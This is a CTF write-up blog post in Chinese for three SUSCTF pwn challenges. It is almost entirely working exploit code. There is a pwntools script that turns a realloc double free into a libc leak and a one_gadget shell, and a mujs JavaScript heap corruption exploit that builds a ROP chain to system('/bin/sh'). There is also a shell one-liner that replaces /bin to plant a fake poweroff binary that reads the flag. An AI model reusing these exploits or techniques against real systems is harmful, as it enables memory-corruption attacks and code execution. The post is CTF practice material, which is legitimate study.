MENU

SUSCTF PWN Writeup

March 16, 2022 • Read: 522 • Pwn,CTF

rain

利用程序中的 realloc 来构造 double free,这个版本允许 Tcache double free

# encoding: utf-8
from pwn import *

elf = None
libc = None
file_name = "./rain"
#context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    if context.binary == None:
        context.binary = dic + file_name
    assert isinstance(context.binary, ELF)
    libc = None
    for lib in context.binary.libs:
        if '/libc.' in lib or '/libc-' in lib:
            libc = ELF(lib, checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], int(sys.argv[2]), sys.argv[4])
            return s.process([file_name])
        else:
            if ":" in sys.argv[1]:
                r = sys.argv[1].split(':')
                return remote(r[0], int(r[1]))
            return remote(sys.argv[1], int(sys.argv[2]))
    else:
        return process([file_name])


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        if info == None:
            info = 'libc_base:\t'
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    try:
        sh.recvrepeat(0.1)
        sh.sendline('cat flag')
        return sh.recvrepeat(0.3)
    except EOFError:
        return ""


def get_gdb(sh, addr=None, gdbscript=None, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript)
    elif addr is not None:
        gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
    else:
        gdb.attach(sh)
    if stop:
        pause()


def Attack(target=None, elf=None, libc=None):
    global sh
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            sh.close()
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag

def choice(idx):
    sh.sendlineafter("ch> ", str(idx))


def config(screen_height, screen_width, font_color, back_color, rainfall, table):
    choice(1)
    buf = p32(screen_height) + p32(screen_width) + (p8(font_color) + p8(back_color)) + p32(rainfall)
    buf = buf.ljust(18, '\x00')
    buf += table
    sh.sendafter("FRAME> ", buf)


def print_info():
    choice(2)


def rain():
    choice(3)



def pwn(sh, elf, libc):
    context.log_level = "debug"
    config(0, 0, 0, 0, 0, "a" * 0x40)
    rain()
    config(0, 0, 0, 0, 0, "a" * 0x68)
    config(0, 0, 1, 1, 0, "")
    config(0, 0, 1, 1, 0, "")
    print_info()
    sh.recvuntil('Table:            ')
    heap_offset = u64(sh.recvuntil('\n\n', drop=True).ljust(8, '\x00'))
    log.success("heap_offset:\t" + hex(heap_offset))
    config(0, 0, 1, 1, 0, p64(heap_offset + 0x8db0).ljust(0x68, 'a'))
    rain()
    config(0, 0, 1, 1, 0, 'a' * 0x68)
    rain()
    stdout_addr = 0x603020
    print_addr = 0x400E17
    node_buf = p32(0) + p32(0) + p64(0) + p64(0) + p64(0) + p32(0) + p32(0) + p64(print_addr) + p64(stdout_addr) + p64(stdout_addr) + '\x00' * 8 + p64(0x31) + '\x00' * 0x18
    config(0, 0, 1, 1, 0, node_buf)
    print_info()
    libc_base = get_address(sh, True, offset=-0x3ec760)
    one_gadget = [0x4f365, 0x4f3c2, 0x10a45c]
    node_buf2 = p32(0) + p32(0) + p64(0) + p64(0) + p64(0) + p32(0) + p32(0) + p64(libc_base + one_gadget[2]) + p64(stdout_addr) + p64(stdout_addr)
    #gdb.attach(sh, "b realloc")
    config(0, 0, 1, 1, 0, node_buf2)
    print_info()
    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(elf=get_file(), libc=get_libc())
    sh.close()
    if flag != "":
        log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

mujs

似乎做复杂了


dv = new DataView(0x68);
dv2 = new DataView(0x68);
dv3 = new DataView(0x68);
dv4 = new DataView(0x68);
for (var i = 0; i < 8; i++)
    dv.setUint8(i, 0x61);
dv3.setUint8(0x68, 0x81);
dv3.setUint8(0x69, 0x01);

for (var i = 0; i < 8; i++)
    dv2.setUint8(i, 0x61);

delete(dv2);
delete(dv3);
//delete(dv4);
//delete(dv);


dv5 = new DataView(0x178);
dv5.setUint8(0x128, 0x51);



var t3 = dv5.getUint32(0x138) - 0x470a0
var t4 = dv5.getUint32(0x138 + 0x4)


dv5.setUint32(0x48, 0x71);
dv5.setUint32(0x50, 0x10);
dv5.setUint32(0x54, 0x1);

dv5.setUint32(0x58, t3 + 0x470a0);
dv5.setUint32(0x58 + 0x4, t4);

var t1 = dv5.getUint32(0x140) - 0x20960
var t2 = dv5.getUint32(0x140 + 0x4)
print(t1)
print(t2)
dv5.setUint32(0x68, t1 + 0x7780);
dv5.setUint32(0x68 + 0x4, t2);
dv5.setUint8(0x70, 0x68);

dv5.setUint32(0x78, t3 + 0x472a0);
dv5.setUint32(0x78 + 0x4, t4);

var t5 = dv4.getUint32(0) - 0x1ec6a0
var t6 = dv4.getUint32(0 + 4)
print(dv4.getLength())
print(t3)
print(t4)

print(t5)
print(t6)

dv5.setUint32(0x78, t5 + 0x1ef2e0);
dv5.setUint32(0x78 + 0x4, t6);

var t7 = dv4.getUint32(0) - 0x108
var t8 = dv4.getUint32(0 + 4)

dv5.setUint32(0x78, t7);
dv5.setUint32(0x78 + 0x4, t8);


var pop_rdi_addr = t5 + 0x26b72
var system_addr = t5 + 0x55410
var bin_sh_addr = t5 + 0x1b75aa

dv4.setUint32(0, pop_rdi_addr + 1)
dv4.setUint32(0 + 4, t6)

dv4.setUint32(8, pop_rdi_addr)
dv4.setUint32(8 + 4, t6)

dv4.setUint32(0x10, bin_sh_addr)
dv4.setUint32(0x10 + 4, t6)

dv4.setUint32(0x18, system_addr)
dv4.setUint32(0x18 + 4, t6)


//while (true);

kqueue

非预期

mv /bin /BIN && /BIN/mkdir /bin && /BIN/chmod 777 /bin && /BIN/echo "/BIN/cat /flag" > /bin/poweroff && /BIN/chmod 777 /bin/poweroff
exit
Archives QR Code
QR Code for this page
Tipping QR Code